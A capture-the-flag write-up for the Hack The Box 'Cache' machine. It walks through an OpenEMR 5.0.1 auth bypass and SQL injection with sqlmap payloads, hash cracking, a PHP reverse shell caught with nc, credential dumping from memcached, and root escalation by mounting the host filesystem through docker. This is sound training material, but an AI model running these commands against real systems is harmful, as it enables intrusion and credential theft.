Cache

TL;DR

  • Find the HMS domain and creator’s password
  • Exploit SQL injection to dump the database and find the admin account
  • Log in and modify a PHP page to get a reverse shell
  • Log in as ash with password reuse to retrieve the user.txt
  • Exploit memcached to get luffy account
  • Exploit docker to spawn a shell and get root.txt

User.txt

Reconnaissance

Let’s start by a Nmap scan:

magnussen@funcMyLife:~/cache$ nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN cache.txt 10.10.10.188
# Nmap 7.60 scan initiated Mon Jun 15 00:42:30 2020 as: nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN cache.txt 10.10.10.188
Increasing send delay for 10.10.10.188 from 0 to 5 due to 138 out of 459 dropped probes since last increase.
Increasing send delay for 10.10.10.188 from 5 to 10 due to 190 out of 631 dropped probes since last increase.
Warning: 10.10.10.188 giving up on port because retransmission cap hit (10).
Nmap scan report for cache.htb (10.10.10.188)
Host is up, received echo-reply ttl 63 (0.17s latency).
Scanned at 2020-06-15 00:42:30 CEST for 129s
Not shown: 54538 closed ports, 10995 filtered ports
Reason: 54538 resets and 10995 no-responses
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb3lyySrN6q6RWe0mdRQOvx8TgDiFAVhicR1h3UlBANr7ElILe7ex89jpzZSkhrYgCF7iArq7PFSX+VY52jRupsYJp7V2XLY9TZOq6F7u6eqsRA60UVeqkh+WnTE1D1GtQSDM2693/1AAFcEMhcwp/Z7nscp+PY1npxEEP6HoCHnf4h4p8RccQuk4AdUDWZo7WlT4fpW1oJCDbt+AOU5ylGUW56n4uSUG8YQVP5WqSspr6IY/GssEw3pGvRLnoJfHjARoT93Fr0u+eSs8zWhpHRWkTEWGhWIt9pPI/pAx2eAeeS0L5knZrHppoOjhR/Io+m0i1kF1MthV+qYjDjscf
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFAHWTqc7a2Az0RjFRBeGhfQkpQrBmEcMntikVFn2frnNPZklPdV7RCy2VW7Ae+LnyJU4Nq2LYqp2zfps+BZ3H4=
|   256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (EdDSA)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMnbsx7/pCTUKU7WwHrL/d0YS9c99tRraIPvg5zrRpiF
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 15 00:44:39 2020 -- 1 IP address (1 host up) scanned in 129.90 seconds

So we find 2 useful services on 2 ports:

  • SSH (22)
  • Apache (80)

Here’s the index page of the website:

index

Enumeration

The first interesting thing we saw on the website is a login page:

login

The credentials “validation” is done in Javascript (jquery/functionality.js) as follow:

$(function(){

    var error_correctPassword = false;
    var error_username = false;

    function checkCorrectPassword(){
        var Password = $("#password").val();
        if(Password != 'H@v3_fun'){
            alert("Password didn't Match");
            error_correctPassword = true;
        }
    }
    function checkCorrectUsername(){
        var Username = $("#username").val();
        if(Username != "ash"){
            alert("Username didn't Match");
            error_username = true;
        }
    }
    $("#loginform").submit(function(event) {
        /* Act on the event */
        error_correctPassword = false;
         checkCorrectPassword();
         error_username = false;
         checkCorrectUsername();


        if(error_correctPassword == false && error_username ==false){
            return true;
        }
        else{
            return false;
        }
    });

});

We can’t log in, but we retrieve the password of the administrator: H@v3_fun, it might be useful later.

We also learn a little bit more about the administrator of the website on the author page:

Author

Apparently he also created another website: HMS (Hospital Management System).

OpenEMR - SQLi

Let’s add hms.htb to our /etc/hosts and check it out:

magnussen@funcMyLife:~/cache$ sudo vim /etc/hosts
10.10.10.188    cache.htb
10.10.10.188	hms.htb

We land on a login page.

OpenEMR

We quickly find the version of OpenEMR in admin.php.

OpenEMR version

By searching for exploit on OpenEMR 5.0.1 we find this vulnerability report.

Apparently an unauthenticated user is able to bypass the Patient Portal Login by simply navigate to the registration page and modify the requested url to access the desired page.

So firt of all, we start by visiting ‘http://hms.htb/portal/account/register.php', we can now access pages like ‘http://hms.htb/portal/add_edit_event_user.php'.

Event user unauthenticated

This page is interesting because it has a parameter vulnerable to SQL injection (eid).

SQLi

Let’s save this request as query.txt and use SQLMap to try to retrieve the table names in the database (The table list is truncated for readability).

magnussen@funcMyLife:~/cache$ sqlmap -r query.txt --tables
Parameter: eid (GET)
    Type: error-based
    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
    Payload: eid=(UPDATEXML(8836,CONCAT(0x2e,0x7170767871,(SELECT (ELT(8836=8836,1))),0x7176786b71),8377))

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: eid=(SELECT * FROM (SELECT(SLEEP(5)))jHcx)

Database: openemr
[234 tables]
+---------------------------------------+
| version                               |
| addresses                             |
| amc_misc_data                         |
| amendments                            |
| amendments_history                    |
                ..........
| transactions                          |
| user_settings                         |
| users                                 |
| users_facility                        |
| users_secure                          |
| valueset                              |
| voids                                 |
| x12_partners                          |
+---------------------------------------+

The users_secure table seems interesting, let’s dump it.

magnussen@funcMyLife:~/cache$ sqlmap -r query.txt --dump -T users_secure
Database: openemr
Table: users_secure
[1 entries]
+----+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| id |    username   |                             password                         |      last_update    | salt_history1 | salt_history2 | password_history1 | password_history2 |
+----+----------+----------+-------------+---------------+---------------+-------------------+-------------------+
| 1  | openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | NULL | NULL | NULL |
+----+----------+----------+-------------+---------------+---------------+-------------------+-------------------+

We retrieve the admin account, we just have to crack the hash with John.

magnussen@funcMyLife:~/cache$ /home/magnussen/Documents/magnupackage/tools/JohnTheRipper/run/john --wordlist=/home/magnussen/Documents/magnupackage/wordlist/password/rockyou.txt pass.txt
?:xxxxxx

So it seems that the admin account is openemr_admin:xxxxxx.

OpenEMR - RCE

Now that we’re authenticated as administrator we can navigate to http://hms.htb/interface/main/tabs/main.php and use Administration>Files to upload a reverse shell.

I’ve used statement.inc.php and uploaded this reverse shell.

When visiting ‘http://hms.htb/sites/default/statement.inc.php' we retrieve our shell.

magnussen@funcMyLife:~/cache$ nc -lvp 7777
Connection from cache.htb 48588 received!
Linux cache 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 00:17:05 up  1:36,  1 user,  load average: 0.00, 0.02, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
luffy    pts/3    10.10.14.24      23:37   39:45   0.21s  0.17s docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ls -alh /home
total 16K
drwxr-xr-x  4 root  root  4.0K Sep 17  2019 .
drwxr-xr-x 23 root  root  4.0K May  5 11:14 ..
drwxr-xr-x 11 ash   ash   4.0K Jun 14 23:09 ash
drwxr-x---  5 luffy luffy 4.0K May  6 08:50 luffy
$ ls -alh /home/ash
total 172K
drwxr-xr-x 11 ash  ash  4.0K Jun 14 23:09 .
drwxr-xr-x  4 root root 4.0K Sep 17  2019 ..
lrwxrwxrwx  1 root root    9 May  5 11:22 .bash_history -> /dev/null
-rw-r--r--  1 ash  ash   220 Apr  4  2018 .bash_logout
-rw-r--r--  1 ash  ash  3.9K Sep 21  2019 .bashrc
drwx------  2 ash  ash  4.0K Sep 17  2019 .cache
drwx------  3 ash  ash  4.0K Sep 17  2019 .gnupg
-rw-------  1 ash  ash    41 Sep 17  2019 .lesshst
drwxrwxr-x  3 ash  ash  4.0K Sep 17  2019 .local
lrwxrwxrwx  1 root root    9 May  5 11:22 .mysql_history -> /dev/null
-rw-r--r--  1 ash  ash   807 Apr  4  2018 .profile
-rw-r--r--  1 ash  ash     0 Sep 17  2019 .sudo_as_admin_successful
-rw-------  1 ash  ash   19K Oct  9  2019 .viminfo
drwxrwxr-x  2 root root 4.0K May  5 11:17 Desktop
drwxrwxr-x  2 root root 4.0K Oct  9  2019 Documents
drwxrwxr-x  2 root root 4.0K Sep 18  2019 Downloads
-rwxrwxrwx  1 ash  ash   46K Jun 14 23:03 LinEnum.sh
drwxrwxr-x  2 root root 4.0K Sep 18  2019 Music
drwxrwxr-x  2 root root 4.0K Sep 18  2019 Pictures
drwxrwxr-x  2 root root 4.0K Oct  9  2019 Public
-rwxrwxrwx  1 ash  ash   37K Jun 14 23:00 linuxprivchecker.py
-r-x------  1 ash  ash    33 Jun 14 22:41 user.txt
$ su ash
su: must be run from a terminal
$ python3 -c 'import pty; pty.spawn("/bin/sh")'
$ su ash
su ash
Password: H@v3_fun

ash@cache:/$ id
id
uid=1000(ash) gid=1000(ash) groups=1000(ash)
ash@cache:/$ cat /home/ash/user.txt
cat /home/ash/user.txt
b1528241ec9fca64ebaa80d76691f981

So we had to get a tty with python3 to switch user from www-data to ash and use the password we found previously to log in (H@v3_fun).

I AM ROOT

Memcached

Now that we have a legitimate user, we should check what we can do:

ash@cache:/$ sudo -l
sudo -l
[sudo] password for ash: H@v3_fun

Sorry, user ash may not run sudo on cache.
ash@cache:/$ groups
groups
ash
ash@cache:/$ groups luffy
groups luffy
luffy : luffy docker

So ash doesn’t seem to have a lot of privileges, but luffy seem to be a member of a group called docker, we should try to own the luffy account.

Let’s check the running processes to see if something seems exploitable (the output had been truncated).

ash@cache:/$ ps -aux
ps -aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       490  0.2  0.2 200620 11728 ?        Ssl  Jun14   0:13 /usr/bin/vmtool
root       496  0.0  0.3 128008 15648 ?        S<s  Jun14   0:01 /lib/systemd/sy
root       497  0.0  0.0      0     0 ?        I<   Jun14   0:00 [iscsi_eh]
root       502  0.0  0.0  97708  1936 ?        Ss   Jun14   0:00 /sbin/lvmetad -
root       507  0.0  0.0      0     0 ?        I<   Jun14   0:00 [ib-comp-wq]
root       508  0.0  0.0      0     0 ?        I<   Jun14   0:00 [ib-comp-unb-wq
root       509  0.0  0.0      0     0 ?        I<   Jun14   0:00 [ib_mcast]
root       510  0.0  0.0      0     0 ?        I<   Jun14   0:00 [ib_nl_sa_wq]
root       513  0.0  0.1  47280  6012 ?        Ss   Jun14   0:02 /lib/systemd/sy
root       514  0.0  0.0      0     0 ?        I<   Jun14   0:00 [rdma_cm]
root       563  0.0  0.0      0     0 ?        S<   Jun14   0:00 [loop0]
root       564  0.0  0.0      0     0 ?        S<   Jun14   0:00 [loop1]
systemd+   666  0.0  0.0 141932  3148 ?        Ssl  Jun14   0:00 /lib/systemd/sy
systemd+   815  0.0  0.1  71852  5252 ?        Ss   Jun14   0:00 /lib/systemd/sy
systemd+   841  0.0  0.1  71008  6284 ?        Ss   Jun14   0:00 /lib/systemd/sy
root       933  0.0  0.0 110548  2080 ?        Ssl  Jun14   0:00 /usr/sbin/irqba
root       947  0.0  0.1  70588  6196 ?        Ss   Jun14   0:00 /lib/systemd/sy
root       950  0.0  0.0  30028  3236 ?        Ss   Jun14   0:00 /usr/sbin/cron
root       953  0.0  0.0 531088  2172 ?        Ssl  Jun14   0:02 /usr/bin/lxcfs
root       960  0.0  0.1 286244  6948 ?        Ssl  Jun14   0:00 /usr/lib/accoun
daemon     964  0.0  0.0  28332  2480 ?        Ss   Jun14   0:00 /usr/sbin/atd -
root       967  0.0  0.2  88228 10552 ?        Ss   Jun14   0:00 /usr/bin/VGAuth
message+  1033  0.0  0.1  50132  4612 ?        Ss   Jun14   0:00 /usr/bin/dbus-d
syslog    1083  0.0  0.1 267276  4980 ?        Ssl  Jun14   0:00 /usr/sbin/rsysl
root      1102  0.0  0.4 169100 17160 ?        Ssl  Jun14   0:00 /usr/bin/python
root      1108  0.0  0.5 854256 23224 ?        Ssl  Jun14   0:01 /usr/lib/snapd/
memcache  1112  0.0  0.1 425792  4132 ?        Ssl  Jun14   0:01 /usr/bin/memcac
root      1113  0.0  1.7 859480 69088 ?        Ssl  Jun14   0:02 /usr/bin/docker
root      1120  0.0  0.9 1031708 39716 ?       Ssl  Jun14   0:00 /usr/bin/contai
root      1121  0.0  0.1  72300  6504 ?        Ss   Jun14   0:00 /usr/sbin/sshd
root      1150  0.0  0.1 288884  6604 ?        Ssl  Jun14   0:00 /usr/lib/policy
root      1151  0.0  0.5 185928 20212 ?        Ssl  Jun14   0:00 /usr/bin/python
mysql     1156  0.2  7.1 1635464 290064 ?      Sl   Jun14   0:14 /usr/sbin/mysql
root      1190  0.0  0.0  14888  1912 tty1     Ss+  Jun14   0:00 /sbin/agetty -o
root      1852  0.0  0.4 364496 19832 ?        Ss   Jun14   0:00 /usr/sbin/apach
www-data  1864  0.1  0.8 372696 32668 ?        S    Jun14   0:08 /usr/sbin/apach
www-data  2531  0.0  0.0   4628   804 ?        S    Jun14   0:00 sh -c /bin/bash
ash@cache:/$ netstat -laputen
netstat -laputen
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      112        22582      -                   
tcp        0      0 127.0.0.1:11211         0.0.0.0:*               LISTEN      111        21318      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      101        17319      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          21564      -                   
tcp        0      0 127.0.0.1:47972         127.0.0.1:11211         TIME_WAIT   0          0          -                              
tcp        0      0 127.0.0.1:47134         127.0.0.1:11211         ESTABLISHED 1000       85029      4339/telnet                     
tcp        0      0 127.0.0.1:46840         127.0.0.1:11211         ESTABLISHED 1000       77874      3713/telnet                      
tcp        0      0 127.0.0.1:11211         127.0.0.1:47134         ESTABLISHED 111        85030      -                                       
tcp        0      0 127.0.0.1:11211         127.0.0.1:46840         ESTABLISHED 111        77875      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      0          25654      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      0          21566      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           101        17318      -                   
udp        0      0 127.0.0.1:36988         127.0.0.53:53           ESTABLISHED 62583      108427     -                   

We see an interesting process: /usr/bin/memcached that listen on port 11211.

Memcached is a distributed memory-caching system oftently used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (database or API) must be read.

If we google memcached for vulnerabilities, we find this article.

First of all we connect to memcached and list the slabs (stored information within the cache).

ash@cache:/$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
stats slabs
stats slabs
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:total_pages 1
STAT 1:total_chunks 10922
STAT 1:used_chunks 5
STAT 1:free_chunks 10917
STAT 1:free_chunks_end 0
STAT 1:mem_requested 371
STAT 1:get_hits 3
STAT 1:cmd_set 590
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048576
END

There’s only one slab on the server (slab 1), now we just have to dump the information in this slab:

stats cachedump 1 0: 1 is the slab number and 0 mean dump all keys

stats cachedump 1 0
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
get user
get user
VALUE user 0 5
luffy
END
get passwd
get passwd
VALUE passwd 0 9
0n3_p1ec3
END

We successfully manage to retrieve luffy’s password (0n3_p1ec3). Let’s try to connect to this account with SSH.

magnussen@funcMyLife:~/cache$ ssh luffy@cache.htb
luffy@cache.htb's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-99-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Jun 15 10:45:15 UTC 2020

  System load:  0.01              Processes:              175
  Usage of /:   75.5% of 8.06GB   Users logged in:        0
  Memory usage: 28%               IP address for ens160:  10.10.10.188
  Swap usage:   0%                IP address for docker0: 172.17.0.1


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

107 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Jun 15 10:25:17 2020 from 10.10.14.152
luffy@cache:~$ ls -alh
total 32K
drwxr-x--- 5 luffy luffy 4.0K May  6 08:50 .
drwxr-xr-x 4 root  root  4.0K Sep 17  2019 ..
lrwxrwxrwx 1 root  root     9 May  5 11:22 .bash_history -> /dev/null
-rw-r--r-- 1 luffy luffy  220 Sep 17  2019 .bash_logout
-rw-r--r-- 1 luffy luffy 3.8K Sep 18  2019 .bashrc
drwx------ 2 luffy luffy 4.0K Sep 18  2019 .cache
drwx------ 3 luffy luffy 4.0K Jun 15 07:58 .gnupg
drwxrwxr-x 3 luffy luffy 4.0K Sep 18  2019 .local
-rw-r--r-- 1 luffy luffy  807 Sep 17  2019 .profile
-rw-r--r-- 1 luffy luffy    0 Sep 17  2019 .sudo_as_admin_successful

Docker

As seen before luffy is a member of the docker group. Docker can be used to break out from restricted environment. GTFOBins.

First of all, let’s list the available images:

luffy@cache:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        9 months ago        64.2MB

We can use this image to launch an interactive shell:


luffy@cache:~$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
root@babdf937373a:/# id
uid=0(root) gid=0(root) groups=0(root)
root@babdf937373a:/# cat /root/root.txt
57bdd1068b278f13bc8bf296da7c2eb5

Yeah, we’re root!

It was a fun box, I’ve struggled a bit on the enumeration part to find the hms domain, but the final steps (memcached and docker) were very fun and I’ve learned a lot!

Thank you Ashacker for the box!